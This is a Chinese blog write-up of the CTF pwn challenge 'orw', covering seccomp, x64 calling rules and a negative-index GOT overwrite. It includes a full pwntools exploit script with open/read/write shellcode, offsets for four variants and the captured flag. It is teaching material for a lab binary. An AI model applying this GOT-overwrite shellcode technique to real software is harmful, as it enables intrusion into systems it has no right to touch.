PWN题[强网先锋]orw超详细讲解(多解法)

Linux安全:详解PWN题orw的多种解决方法
本文详细介绍了PWN题目orw的解题过程,包括知识点如x64调用规则、seccomp沙箱机制,以及四种不同的解决方案,涉及覆盖got表中的exit、free、atoi和puts地址,以执行shellcode。

知识点

构造一段shellcode的作用就是为了在缓冲区溢出时将shellcode的地址覆盖正常的返回地址。

\x00 截断符 shellcode里出现\x00就会从其截断,所以构造shellcode的时候要避免\x00

x64函数调用规则
x64机器在调用某个函数前,比如int func(int a, int b, int c, int d, int e, int f, int g, int h),首先他会把前6个参数从左往右存入到寄存器rdi、rsi、rdx、rcx、r8、r9,其余参数存入到栈里,保存的顺序是从右往左入栈。比如abcdef会存入到寄存器里,然后一次入栈h、g。
保存完参数之后再把函数后面一条指令的地址入栈保存。

解题流程

查看文件类型:
在这里插入图片描述
查看保护机制:
在这里插入图片描述
因为不是FULL RELRO所以就考虑改got表为shellcode地址

IDA64位打开
Main查看伪码:
在这里插入图片描述
查看子程序
在这里插入图片描述
seccomp_init(0LL);
seccomp_rule_add(v1, 2147418112LL, 2LL, 0LL);
做pwn,用seccomp做沙箱保护很常见。有时候seccomp后面会跟一个结构体
seccomp是一类内核里的安全机制,正常情况下,程序可以使用所有的syscall,这是不安全的,比如劫持程序流后通过execve的syscall来getshell.通过seccomp我们可以在程序里禁用掉某些syscall,这样就算劫持了程序流也只能调用部分的syscall了。
seccomp(全称securecomputing mode)是linuxkernel从2.6.23版本开始所支持的一类安全机制。
在Linux系统里,大量的系统调用(systemcall)直接暴露给用户态程序。但是,并不是所有的系统调用都被需要,而且不安全的代码滥用系统调用会对系统造成安全威胁。通过seccomp,我们限制程序使用某些系统调用,这样可以减少系统的暴露面,同时是程序进入一类“安全”的状态。
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
数字后面有u,uL,uLL:
u代表unsigned,默认为unsigned int
uL代表unsigned long
数字文字的ULL后缀uLL为unsigned long long int,令类型为整数常量unsigned long long int,添加后缀ULL到整数。

1.add
在这里插入图片描述
注意:
*((_QWORD *)&unk_2020E0 + v1)即unk_2020E0[v1]

2.show
在这里插入图片描述

3.edit
在这里插入图片描述
4.delete
在这里插入图片描述
释放分配的内存

漏洞分析

在这里插入图片描述
sub_BCA里发现开了沙箱。
先将libseccomp.so.0文件路径添加到环境变量里
Export LD_LIBRARY_PATH=’/home/kali/Desktop’
再ldd链接
在这里插入图片描述
限制了只能使用open,read,write

在add里
在这里插入图片描述
令index下标为负数时可以覆盖到其他函数的got表地址

具体解决

下面介绍三个解决方案:

方法一

这里选覆盖掉exit的got表里的地址,因为沙盒的存在,所以需要构造orw的shellcode并覆盖exit的got地址为shellcode
在这里插入图片描述
在这里插入图片描述
exit位置在unk_2020E0位置的上面
相差偏移量:E0-78=0x68=104,再除以8=13,即向上偏移13可覆盖exit的地址

exp脚本如下:

from pwn import *

p=process('./pwn')
#p = remote("39.105.131.68","12354")
elf=ELF('./pwn')
context(os='linux',arch='amd64')

shellcode='''
    xor rax, rax   #xor rax,rax是对rax的清零运算操作
    xor rdi, rdi   #清空rdi寄存器的值
    xor rsi, rsi   #清空rsi寄存器的值
    xor rdx, rdx
    mov rax, 2      #open调用号为2
    mov rdi, 0x67616c662f2e   #为galf/.为./flag的相反   0x67616c662f2e为/flag的ASCII码的十六进制
    push rdi
    mov rdi, rsp
    syscall   #系统调用前,linux在eax寄存器里写入子功能号,断止处理程序根据eax寄存器的值来判断用户进程申请哪类系统调用。

    mov rdx, 0x100   #sys_read(3,file,0x100)
    mov rsi, rdi
    mov rdi, rax
    mov rax, 0      #read调用号为0,0为文件描述符,即外部输入,例如键盘
    syscall

    mov rdi, 1      #sys_write(1,file,0x30)
    mov rax, 1      #write调用号为1,1为文件描述符,指的是屏幕
    syscall
'''
p.recv()
p.sendline('1')
p.recvuntil('index:')
p.sendline('-13')
p.recvuntil('size:')
p.sendline('0')
p.recvuntil('content:')
p.sendline(asm(shellcode))   #asm可以对汇编代码进行汇编
#gdb.attach(p)
p.sendline('5')

p.interactive()

flag值为:flag{151a5154-orw1-easy-1234-99bdsa23c7ds}

方法二

覆盖掉free的got表里的地址,将上面的脚本的偏移-13改为-25即可

方法三

覆盖掉atoi的got表里的地址,将上面的脚本的偏移-13改为-14即可

方法四

覆盖掉puts的got表里的地址,将上面的脚本的偏移-13改为-22即可

评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值